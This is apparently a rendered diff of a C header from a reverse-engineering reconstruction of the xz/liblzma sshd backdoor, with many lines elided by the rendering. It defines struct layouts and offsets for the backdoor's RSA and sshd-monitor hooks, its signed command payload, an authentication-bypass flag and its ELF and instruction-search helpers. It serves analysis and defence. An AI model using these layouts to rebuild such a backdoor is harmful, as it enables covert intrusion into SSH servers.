1597  PADDING(sizeof(void *));
+
1598  sshd_monitor_func_t mm_answer_keyallowed;
+
1599  sshd_monitor_func_t mm_answer_keyverify;
+
1600  PADDING(sizeof(void *));
+ +
1602 
+
1603 assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
+
1604 assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
+
1605 assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
+
1606 assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
+
1607 assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
+
1608 assert_offset(backdoor_hooks_ctx_t, mm_log_handler, 0x58);
+
1609 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyallowed, 0x70);
+
1610 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyverify, 0x78);
+
1611 static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
+
1612 
+
1613 typedef struct __attribute__((packed)) backdoor_setup_params {
+
1614  PADDING(0x8);
+
1615  backdoor_shared_globals_t *shared;
+
1616  backdoor_hooks_ctx_t *hook_params;
+
1617  lzma_check_state dummy_check_state;
+
1618  elf_entry_ctx_t *entry_ctx;
+
1620 
-
1625 typedef struct __attribute__((packed)) elf_handles {
- - -
1637  elf_info_t *libc;
-
1638  elf_info_t *liblzma;
-
1639  elf_info_t *libcrypto;
- -
1641 
-
1642 assert_offset(elf_handles_t, main, 0x0);
-
1643 assert_offset(elf_handles_t, dynamic_linker, 0x8);
-
1644 assert_offset(elf_handles_t, libc, 0x10);
-
1645 assert_offset(elf_handles_t, liblzma, 0x18);
-
1646 assert_offset(elf_handles_t, libcrypto, 0x20);
-
1647 static_assert(sizeof(elf_handles_t) == 0x28);
-
1648 
-
1649 typedef struct __attribute__((packed)) main_elf {
- -
1651  Elf64_Ehdr *dynamic_linker_ehdr;
-
1652  void **__libc_stack_end;
-
1653 } main_elf_t;
-
1654 
-
1655 assert_offset(main_elf_t, elf_handles, 0x0);
-
1656 assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
-
1657 assert_offset(main_elf_t, __libc_stack_end, 0x10);
-
1658 static_assert(sizeof(main_elf_t) == 0x18);
+
1621 assert_offset(backdoor_setup_params_t, shared, 0x8);
+
1622 assert_offset(backdoor_setup_params_t, hook_params, 0x10);
+
1623 assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
+
1624 static_assert(sizeof(backdoor_setup_params_t) == 0x88);
+
1625 
+
1630 typedef struct __attribute__((packed)) elf_handles {
+ + +
1642  elf_info_t *libc;
+
1643  elf_info_t *liblzma;
+
1644  elf_info_t *libcrypto;
+ +
1646 
+
1647 assert_offset(elf_handles_t, main, 0x0);
+
1648 assert_offset(elf_handles_t, dynamic_linker, 0x8);
+
1649 assert_offset(elf_handles_t, libc, 0x10);
+
1650 assert_offset(elf_handles_t, liblzma, 0x18);
+
1651 assert_offset(elf_handles_t, libcrypto, 0x20);
+
1652 static_assert(sizeof(elf_handles_t) == 0x28);
+
1653 
+
1654 typedef struct __attribute__((packed)) main_elf {
+ +
1656  Elf64_Ehdr *dynamic_linker_ehdr;
+
1657  void **__libc_stack_end;
+
1658 } main_elf_t;
1659 
-
1660 typedef struct backdoor_data backdoor_data_t;
-
1661 
-
1665 typedef struct __attribute__((packed)) backdoor_data_handle {
-
1666  backdoor_data_t *data;
- - -
1669 
-
1670 assert_offset(backdoor_data_handle_t, data, 0x0);
-
1671 assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
-
1672 
-
1673 typedef struct __attribute__((packed)) string_item {
-
1677  EncodedStringId string_id;
-
1678  PADDING(4);
-
1682  void *func_start;
-
1686  void *func_end;
-
1690  void *xref;
-
1691 } string_item_t;
-
1692 
-
1693 assert_offset(string_item_t, string_id, 0);
-
1694 assert_offset(string_item_t, func_start, 0x8);
-
1695 assert_offset(string_item_t, func_end, 0x10);
-
1696 assert_offset(string_item_t, xref, 0x18);
-
1697 static_assert(sizeof(string_item_t) == 0x20);
-
1698 
-
1699 typedef struct __attribute__((packed)) string_references {
-
1700  string_item_t entries[27];
- -
1702 
-
1703 assert_offset(string_references_t, entries, 0);
-
1704 static_assert(sizeof(string_references_t) == 0x360);
-
1705 
-
1710 typedef struct __attribute__((packed)) backdoor_data {
-
1715  struct link_map *main_map;
-
1720  struct link_map *dynamic_linker_map;
-
1721  struct link_map *liblzma_map;
-
1722  struct link_map *libcrypto_map;
-
1723  struct link_map *libsystemd_map;
-
1724  struct link_map *libc_map;
-
1725 
- -
1727 
-
1728  backdoor_data_handle_t data_handle;
-
1729 
- - - -
1746  elf_info_t liblzma_info;
- -
1751 
- - -
1761  lzma_allocator fake_allocator;
-
1765  lzma_allocator *import_resolver;
-
1766 } backdoor_data_t;
-
1767 
-
1768 assert_offset(backdoor_data_t, main_map, 0);
-
1769 assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
-
1770 assert_offset(backdoor_data_t, liblzma_map, 0x10);
-
1771 assert_offset(backdoor_data_t, libcrypto_map, 0x18);
-
1772 assert_offset(backdoor_data_t, libsystemd_map, 0x20);
-
1773 assert_offset(backdoor_data_t, libc_map, 0x28);
-
1774 assert_offset(backdoor_data_t, elf_handles, 0x30);
-
1775 assert_offset(backdoor_data_t, data_handle, 0x58);
-
1776 assert_offset(backdoor_data_t, main_info, 0x68);
-
1777 assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
-
1778 assert_offset(backdoor_data_t, libc_info, 0x268);
-
1779 assert_offset(backdoor_data_t, liblzma_info, 0x368);
-
1780 assert_offset(backdoor_data_t, libcrypto_info, 0x468);
-
1781 assert_offset(backdoor_data_t, libc_imports, 0x568);
-
1782 assert_offset(backdoor_data_t, string_refs, 0x5D8);
-
1783 assert_offset(backdoor_data_t, fake_allocator, 0x938);
-
1784 assert_offset(backdoor_data_t, import_resolver, 0x950);
-
1785 static_assert(sizeof(backdoor_data_t) == 0x958);
-
1786 
-
1787 typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
-
1788  backdoor_data_t *data;
- - - - - - - -
1808 
-
1809 assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
-
1810 assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
-
1811 assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
-
1812 assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
-
1813 assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
- -
1815 assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
-
1816 
-
1823 typedef union {
-
1825  u32 index;
-
1826  struct {
-
1828  u32 bit_index : 3;
-
1830  u32 byte_index : 29;
-
1831  };
- -
1833 
-
1834 typedef struct __attribute__((packed)) secret_data_item {
-
1835  u8 *code;
-
1836  secret_data_shift_cursor_t shift_cursor;
-
1837  u32 operation_index;
-
1838  u32 shift_count;
-
1839  u32 index;
- -
1841 
-
1842 assert_offset(secret_data_item_t, code, 0x0);
-
1843 assert_offset(secret_data_item_t, shift_cursor, 0x8);
-
1844 assert_offset(secret_data_item_t, operation_index, 0xC);
-
1845 assert_offset(secret_data_item_t, shift_count, 0x10);
-
1846 assert_offset(secret_data_item_t, index, 0x14);
-
1847 static_assert(sizeof(secret_data_item_t) == 0x18);
-
1848 
-
1854 typedef struct __attribute__((packed)) key_payload_hdr {
-
1855  u32 field_a;
-
1856  u32 field_b;
-
1857  u64 field_c;
- -
1859 
-
1860 typedef union __attribute__((packed)) {
-
1861  u8 value[2];
-
1862  u16 size;
- +
1660 assert_offset(main_elf_t, elf_handles, 0x0);
+
1661 assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
+
1662 assert_offset(main_elf_t, __libc_stack_end, 0x10);
+
1663 static_assert(sizeof(main_elf_t) == 0x18);
+
1664 
+
1665 typedef struct backdoor_data backdoor_data_t;
+
1666 
+
1670 typedef struct __attribute__((packed)) backdoor_data_handle {
+
1671  backdoor_data_t *data;
+ + +
1674 
+
1675 assert_offset(backdoor_data_handle_t, data, 0x0);
+
1676 assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
+
1677 
+
1678 typedef struct __attribute__((packed)) string_item {
+
1682  EncodedStringId string_id;
+
1683  PADDING(4);
+
1687  void *func_start;
+
1691  void *func_end;
+
1695  void *xref;
+
1696 } string_item_t;
+
1697 
+
1698 assert_offset(string_item_t, string_id, 0);
+
1699 assert_offset(string_item_t, func_start, 0x8);
+
1700 assert_offset(string_item_t, func_end, 0x10);
+
1701 assert_offset(string_item_t, xref, 0x18);
+
1702 static_assert(sizeof(string_item_t) == 0x20);
+
1703 
+
1704 typedef struct __attribute__((packed)) string_references {
+
1705  string_item_t entries[27];
+ +
1707 
+
1708 assert_offset(string_references_t, entries, 0);
+
1709 static_assert(sizeof(string_references_t) == 0x360);
+
1710 
+
1715 typedef struct __attribute__((packed)) backdoor_data {
+
1720  struct link_map *main_map;
+
1725  struct link_map *dynamic_linker_map;
+
1726  struct link_map *liblzma_map;
+
1727  struct link_map *libcrypto_map;
+
1728  struct link_map *libsystemd_map;
+
1729  struct link_map *libc_map;
+
1730 
+ +
1732 
+
1733  backdoor_data_handle_t data_handle;
+
1734 
+ + + +
1751  elf_info_t liblzma_info;
+ +
1756 
+ + +
1766  lzma_allocator fake_allocator;
+
1770  lzma_allocator *import_resolver;
+
1771 } backdoor_data_t;
+
1772 
+
1773 assert_offset(backdoor_data_t, main_map, 0);
+
1774 assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
+
1775 assert_offset(backdoor_data_t, liblzma_map, 0x10);
+
1776 assert_offset(backdoor_data_t, libcrypto_map, 0x18);
+
1777 assert_offset(backdoor_data_t, libsystemd_map, 0x20);
+
1778 assert_offset(backdoor_data_t, libc_map, 0x28);
+
1779 assert_offset(backdoor_data_t, elf_handles, 0x30);
+
1780 assert_offset(backdoor_data_t, data_handle, 0x58);
+
1781 assert_offset(backdoor_data_t, main_info, 0x68);
+
1782 assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
+
1783 assert_offset(backdoor_data_t, libc_info, 0x268);
+
1784 assert_offset(backdoor_data_t, liblzma_info, 0x368);
+
1785 assert_offset(backdoor_data_t, libcrypto_info, 0x468);
+
1786 assert_offset(backdoor_data_t, libc_imports, 0x568);
+
1787 assert_offset(backdoor_data_t, string_refs, 0x5D8);
+
1788 assert_offset(backdoor_data_t, fake_allocator, 0x938);
+
1789 assert_offset(backdoor_data_t, import_resolver, 0x950);
+
1790 static_assert(sizeof(backdoor_data_t) == 0x958);
+
1791 
+
1792 typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
+
1793  backdoor_data_t *data;
+ + + + + + + +
1813 
+
1814 assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
+
1815 assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
+
1816 assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
+
1817 assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
+
1818 assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
+ +
1820 assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
+
1821 
+
1828 typedef union {
+
1830  u32 index;
+
1831  struct {
+
1833  u32 bit_index : 3;
+
1835  u32 byte_index : 29;
+
1836  };
+ +
1838 
+
1839 typedef struct __attribute__((packed)) secret_data_item {
+
1840  u8 *code;
+
1841  secret_data_shift_cursor_t shift_cursor;
+
1842  u32 operation_index;
+
1843  u32 shift_count;
+
1844  u32 index;
+ +
1846 
+
1847 assert_offset(secret_data_item_t, code, 0x0);
+
1848 assert_offset(secret_data_item_t, shift_cursor, 0x8);
+
1849 assert_offset(secret_data_item_t, operation_index, 0xC);
+
1850 assert_offset(secret_data_item_t, shift_count, 0x10);
+
1851 assert_offset(secret_data_item_t, index, 0x14);
+
1852 static_assert(sizeof(secret_data_item_t) == 0x18);
+
1853 
+
1859 typedef struct __attribute__((packed)) key_payload_hdr {
+
1860  u32 field_a;
+
1861  u32 field_b;
+
1862  u64 field_c;
+
1864 
-
1865 typedef struct __attribute__((packed)) cmd_arguments {
-
1866  u8 flags1;
-
1867  u8 flags2;
-
1868  u8 flags3;
- -
1870 } cmd_arguments_t;
-
1871 
-
1872 typedef struct __attribute__((packed)) key_payload_body {
-
1874  u8 signature[ED448_SIGNATURE_SIZE];
-
1875  cmd_arguments_t args;
-
1876  u8 data[0x1A1];
- -
1878 
-
1879 assert_offset(key_payload_body_t, args, 0x72);
-
1880 
-
1886 typedef struct __attribute__((packed)) key_payload {
-
1887  key_payload_hdr_t header;
-
1888  key_payload_body_t body;
- -
1890 static_assert(sizeof(key_payload_t) == 0x228);
-
1891 
-
1892 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
-
1893 
- - - - - - -
1915 };
-
1916 
- - - -
1931  X_FLAGS2_AUTH_BYPASS = 0x4,
- - -
1942 
-
1948  X_FLAGS2_SOCKFD_MASK = 0x78
-
1949 };
-
1950 
- - - -
1960 };
-
1961 
-
1962 assert_offset(cmd_arguments_t, flags1, 0);
-
1963 assert_offset(cmd_arguments_t, flags2, 1);
-
1964 assert_offset(cmd_arguments_t, flags3, 2);
-
1965 assert_offset(cmd_arguments_t, u, 3);
-
1966 static_assert(sizeof(cmd_arguments_t) == 0x5);
-
1967 
-
1968 typedef struct __attribute__((packed)) key_ctx {
-
1969  const BIGNUM *rsa_n;
-
1970  const BIGNUM *rsa_e;
-
1971  cmd_arguments_t args;
-
1972  key_payload_t payload;
-
1973  PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
-
1974  u8 ivec[CHACHA20_IV_SIZE];
-
1975  u8 ed448_key[ED448_KEY_SIZE];
-
1976  PADDING(2);
-
1977 } key_ctx_t;
-
1978 
-
1979 assert_offset(key_ctx_t, rsa_n, 0);
-
1980 assert_offset(key_ctx_t, rsa_e, 0x8);
-
1981 assert_offset(key_ctx_t, args, 0x10);
-
1982 assert_offset(key_ctx_t, payload, 0x15);
-
1983 assert_offset(key_ctx_t, ivec, 0x26D);
-
1984 assert_offset(key_ctx_t, ed448_key, 0x27D);
-
1985 
-
1990 typedef struct __attribute__((packed)) monitor_data {
-
1991  u32 cmd_type;
-
1992  PADDING(4);
-
1993  cmd_arguments_t *args;
-
1994  const BIGNUM *rsa_n;
-
1995  const BIGNUM *rsa_e;
-
1996  u8 *payload_body;
-
1997  u16 payload_body_size;
-
1998  PADDING(6);
-
1999  RSA *rsa;
- -
2001 
-
2002 assert_offset(monitor_data_t, cmd_type, 0);
-
2003 assert_offset(monitor_data_t, args, 0x8);
-
2004 assert_offset(monitor_data_t, rsa_n, 0x10);
-
2005 assert_offset(monitor_data_t, rsa_e, 0x18);
-
2006 assert_offset(monitor_data_t, payload_body, 0x20);
-
2007 assert_offset(monitor_data_t, payload_body_size, 0x28);
-
2008 assert_offset(monitor_data_t, rsa, 0x30);
-
2009 
-
2014 typedef union __attribute__((packed)) backdoor_runtime_data {
-
2015 #ifndef XZRE_SLIM
-
2016  struct timespec timespec;
-
2017  fd_set fd_set;
-
2018 #endif
- -
2020  u8 data[608];
- -
2022 
-
2027 typedef struct __attribute__((packed)) run_backdoor_commands_data {
-
2028  u64 body_size;
-
2029  BOOL *p_do_orig;
-
2030  u64 payload_size;
-
2031  u64 hostkey_hash_offset;
-
2032  RSA *rsa;
-
2033  u8 *payload_data_ptr;
-
2034  u8 *ed448_key_ptr;
-
2035  u64 num_keys;
-
2036  PADDING(4);
-
2037  u32 key_cur_idx;
-
2038  u64 key_prev_idx;
-
2039  PADDING(7);
-
2040  u8 unk57;
-
2041  union {
-
2042  struct __attribute__((packed)) {
-
2043  int socket_fd;
-
2044  u32 fd_recv_size;
-
2045  u8 fd_recv_buf[64];
-
2046  } sock;
+
1865 typedef union __attribute__((packed)) {
+
1866  u8 value[2];
+
1867  u16 size;
+ +
1869 
+
1870 typedef struct __attribute__((packed)) cmd_arguments {
+
1871  u8 flags1;
+
1872  u8 flags2;
+
1873  u8 flags3;
+ +
1875 } cmd_arguments_t;
+
1876 
+
1877 typedef struct __attribute__((packed)) key_payload_body {
+
1879  u8 signature[ED448_SIGNATURE_SIZE];
+
1880  cmd_arguments_t args;
+
1881  u8 data[0x1A1];
+ +
1883 
+
1884 assert_offset(key_payload_body_t, args, 0x72);
+
1885 
+
1891 typedef struct __attribute__((packed)) key_payload {
+
1892  key_payload_hdr_t header;
+
1893  key_payload_body_t body;
+ +
1895 static_assert(sizeof(key_payload_t) == 0x228);
+
1896 
+
1897 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
+
1898 
+ + + + + + +
1920 };
+
1921 
+ + + +
1936  X_FLAGS2_AUTH_BYPASS = 0x4,
+ + +
1947 
+
1953  X_FLAGS2_SOCKFD_MASK = 0x78
+
1954 };
+
1955 
+ + + +
1965 };
+
1966 
+
1967 assert_offset(cmd_arguments_t, flags1, 0);
+
1968 assert_offset(cmd_arguments_t, flags2, 1);
+
1969 assert_offset(cmd_arguments_t, flags3, 2);
+
1970 assert_offset(cmd_arguments_t, u, 3);
+
1971 static_assert(sizeof(cmd_arguments_t) == 0x5);
+
1972 
+
1973 typedef struct __attribute__((packed)) key_ctx {
+
1974  const BIGNUM *rsa_n;
+
1975  const BIGNUM *rsa_e;
+
1976  cmd_arguments_t args;
+
1977  key_payload_t payload;
+
1978  PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
+
1979  u8 ivec[CHACHA20_IV_SIZE];
+
1980  u8 ed448_key[ED448_KEY_SIZE];
+
1981  PADDING(2);
+
1982 } key_ctx_t;
+
1983 
+
1984 assert_offset(key_ctx_t, rsa_n, 0);
+
1985 assert_offset(key_ctx_t, rsa_e, 0x8);
+
1986 assert_offset(key_ctx_t, args, 0x10);
+
1987 assert_offset(key_ctx_t, payload, 0x15);
+
1988 assert_offset(key_ctx_t, ivec, 0x26D);
+
1989 assert_offset(key_ctx_t, ed448_key, 0x27D);
+
1990 
+
1995 typedef struct __attribute__((packed)) monitor_data {
+
1996  u32 cmd_type;
+
1997  PADDING(4);
+
1998  cmd_arguments_t *args;
+
1999  const BIGNUM *rsa_n;
+
2000  const BIGNUM *rsa_e;
+
2001  u8 *payload_body;
+
2002  u16 payload_body_size;
+
2003  PADDING(6);
+
2004  RSA *rsa;
+ +
2006 
+
2007 assert_offset(monitor_data_t, cmd_type, 0);
+
2008 assert_offset(monitor_data_t, args, 0x8);
+
2009 assert_offset(monitor_data_t, rsa_n, 0x10);
+
2010 assert_offset(monitor_data_t, rsa_e, 0x18);
+
2011 assert_offset(monitor_data_t, payload_body, 0x20);
+
2012 assert_offset(monitor_data_t, payload_body_size, 0x28);
+
2013 assert_offset(monitor_data_t, rsa, 0x30);
+
2014 
+
2019 typedef union __attribute__((packed)) backdoor_runtime_data {
+
2020 #ifndef XZRE_SLIM
+
2021  struct timespec timespec;
+
2022  fd_set fd_set;
+
2023 #endif
+ +
2025  u8 data[608];
+ +
2027 
+
2032 typedef struct __attribute__((packed)) run_backdoor_commands_data {
+
2033  u64 body_size;
+
2034  BOOL *p_do_orig;
+
2035  u64 payload_size;
+
2036  u64 hostkey_hash_offset;
+
2037  RSA *rsa;
+
2038  u8 *payload_data_ptr;
+
2039  u8 *ed448_key_ptr;
+
2040  u64 num_keys;
+
2041  PADDING(4);
+
2042  u32 key_cur_idx;
+
2043  u64 key_prev_idx;
+
2044  PADDING(7);
+
2045  u8 unk57;
+
2046  union {
2047  struct __attribute__((packed)) {
-
2048  u64 num_host_keys;
-
2049  u64 num_host_pubkeys;
-
2050  u8 ed448_key[ED448_KEY_SIZE];
-
2051  } keys;
-
2052  } u;
-
2053  PADDING(7);
- -
2055  key_ctx_t kctx;
- -
2057 
-
2058 assert_offset(run_backdoor_commands_data_t, body_size, 0);
-
2059 assert_offset(run_backdoor_commands_data_t, p_do_orig, 8);
-
2060 assert_offset(run_backdoor_commands_data_t, payload_size, 0x10);
-
2061 assert_offset(run_backdoor_commands_data_t, hostkey_hash_offset, 0x18);
-
2062 assert_offset(run_backdoor_commands_data_t, rsa, 0x20);
-
2063 assert_offset(run_backdoor_commands_data_t, ed448_key_ptr, 0x30);
-
2064 assert_offset(run_backdoor_commands_data_t, num_keys, 0x38);
-
2065 assert_offset(run_backdoor_commands_data_t, key_cur_idx, 0x44);
-
2066 assert_offset(run_backdoor_commands_data_t, key_prev_idx, 0x48);
-
2067 assert_offset(run_backdoor_commands_data_t, unk57, 0x57);
-
2068 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58);
-
2069 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60);
-
2070 assert_offset(run_backdoor_commands_data_t, u.keys.ed448_key, 0x68);
-
2071 assert_offset(run_backdoor_commands_data_t, data, 0xA8);
-
2072 assert_offset(run_backdoor_commands_data_t, kctx, 0x308);
-
2073 
-
2074 
-
2075 typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
- - - - -
2095 
-
2096 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
-
2097 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
-
2098 assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
-
2099 static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
+
2048  int socket_fd;
+
2049  u32 fd_recv_size;
+
2050  u8 fd_recv_buf[64];
+
2051  } sock;
+
2052  struct __attribute__((packed)) {
+
2053  u64 num_host_keys;
+
2054  u64 num_host_pubkeys;
+
2055  u8 ed448_key[ED448_KEY_SIZE];
+
2056  } keys;
+
2057  } u;
+
2058  PADDING(7);
+ +
2060  key_ctx_t kctx;
+ +
2062 
+
2063 assert_offset(run_backdoor_commands_data_t, body_size, 0);
+
2064 assert_offset(run_backdoor_commands_data_t, p_do_orig, 8);
+
2065 assert_offset(run_backdoor_commands_data_t, payload_size, 0x10);
+
2066 assert_offset(run_backdoor_commands_data_t, hostkey_hash_offset, 0x18);
+
2067 assert_offset(run_backdoor_commands_data_t, rsa, 0x20);
+
2068 assert_offset(run_backdoor_commands_data_t, ed448_key_ptr, 0x30);
+
2069 assert_offset(run_backdoor_commands_data_t, num_keys, 0x38);
+
2070 assert_offset(run_backdoor_commands_data_t, key_cur_idx, 0x44);
+
2071 assert_offset(run_backdoor_commands_data_t, key_prev_idx, 0x48);
+
2072 assert_offset(run_backdoor_commands_data_t, unk57, 0x57);
+
2073 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58);
+
2074 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60);
+
2075 assert_offset(run_backdoor_commands_data_t, u.keys.ed448_key, 0x68);
+
2076 assert_offset(run_backdoor_commands_data_t, data, 0xA8);
+
2077 assert_offset(run_backdoor_commands_data_t, kctx, 0x308);
+
2078 
+
2079 
+
2080 typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
+ + + +
2100 
-
2101 typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
- - - -
2115 
-
2116 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
-
2117 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
-
2118 static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
-
2119 
-
2120 typedef struct __attribute__((packed)) elf_functions {
-
2121  PADDING(sizeof(u64));
-
2127  int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
-
2128  PADDING(sizeof(u64));
-
2129  PADDING(sizeof(u64));
-
2135  void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2136  PADDING(sizeof(u64));
-
2142  BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
-
2143 } elf_functions_t;
-
2144 
-
2145 assert_offset(elf_functions_t, init_hook_functions, 0x8);
-
2146 assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
-
2147 assert_offset(elf_functions_t, elf_parse, 0x30);
-
2148 static_assert(sizeof(elf_functions_t) == 0x38);
+
2101 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
+
2102 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
+
2103 assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
+
2104 static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
+
2105 
+
2106 typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
+ + + +
2120 
+
2121 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
+
2122 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
+
2123 static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
+
2124 
+
2125 typedef struct __attribute__((packed)) elf_functions {
+
2126  PADDING(sizeof(u64));
+
2132  int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
+
2133  PADDING(sizeof(u64));
+
2134  PADDING(sizeof(u64));
+
2140  void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2141  PADDING(sizeof(u64));
+
2147  BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
+
2148 } elf_functions_t;
2149 
-
2150 typedef struct __attribute__((packed)) fake_lzma_allocator {
-
2151  PADDING(sizeof(u64));
-
2152  lzma_allocator allocator;
- +
2150 assert_offset(elf_functions_t, init_hook_functions, 0x8);
+
2151 assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
+
2152 assert_offset(elf_functions_t, elf_parse, 0x30);
+
2153 static_assert(sizeof(elf_functions_t) == 0x38);
2154 
-
2155 assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
-
2156 assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
-
2157 assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
-
2158 static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
+
2155 typedef struct __attribute__((packed)) fake_lzma_allocator {
+
2156  PADDING(sizeof(u64));
+
2157  lzma_allocator allocator;
+
2159 
-
2160 typedef struct __attribute__((packed)) instruction_search_ctx
-
2161 {
- - - - -
2182  u8 *output_register; // TODO unknown
-
2187  BOOL result;
-
2188  PADDING(0x4);
-
2189  backdoor_hooks_data_t *hooks;
- - -
2192 
-
2193 assert_offset(instruction_search_ctx_t, start_addr, 0);
-
2194 assert_offset(instruction_search_ctx_t, end_addr, 0x8);
-
2195 assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
-
2196 assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
-
2197 assert_offset(instruction_search_ctx_t, output_register, 0x20);
-
2198 assert_offset(instruction_search_ctx_t, result, 0x28);
-
2199 assert_offset(instruction_search_ctx_t, hooks, 0x30);
-
2200 assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
-
2201 static_assert(sizeof(instruction_search_ctx_t) == 0x40);
-
2202 
-
2203 
- -
2222 
-
2231 extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
-
2232 
-
2242 extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
-
2243 
-
2252 extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
-
2253 
- -
2264  u8 *code_start,
-
2265  u8 *code_end,
-
2266  dasm_ctx_t *dctx,
-
2267  void *mem_address
-
2268 );
-
2269 
- -
2280  u8 *code_start,
-
2281  u8 *code_end,
-
2282  dasm_ctx_t *dctx,
-
2283  void *mem_address
-
2284 );
-
2285 
- -
2296  u8 *code_start,
-
2297  u8 *code_end,
-
2298  dasm_ctx_t *dctx,
-
2299  void *mem_address
-
2300 );
-
2301 
- -
2313  u8 *code_start,
-
2314  u8 *code_end,
-
2315  BOOL is_64bit_operand,
-
2316  BOOL load_flag,
-
2317  dasm_ctx_t *dctx
-
2318 );
-
2319 
- -
2336  u8 *code_start,
-
2337  u8 *code_end,
-
2338  BOOL is_64bit_operand,
-
2339  BOOL load_flag,
-
2340  dasm_ctx_t *dctx
-
2341 );
-
2342 
- -
2354  u8 *code_start,
-
2355  u8 *code_end,
-
2356  dasm_ctx_t *dctx,
-
2357  int opcode,
-
2358  void *mem_address
-
2359 );
-
2360 
-
2377 extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
-
2378 
- -
2388  u8 *code_start,
-
2389  u8 *code_end,
-
2390  const char *str
-
2391 );
-
2392 
- - -
2404  EncodedStringId encoded_string_id,
-
2405  u8 *code_start,
-
2406  u8 *code_end
-
2407 );
-
2408 
-
2428 extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
-
2429 
-
2439 extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
-
2440 
-
2452 extern BOOL find_function(
-
2453  u8 *code_start,
-
2454  void **func_start,
-
2455  void **func_end,
-
2456  u8 *search_base,
-
2457  u8 *code_end,
-
2458  FuncFindType find_mode);
-
2459 
-
2470 extern BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags);
-
2471 
-
2482 extern BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
-
2483 
-
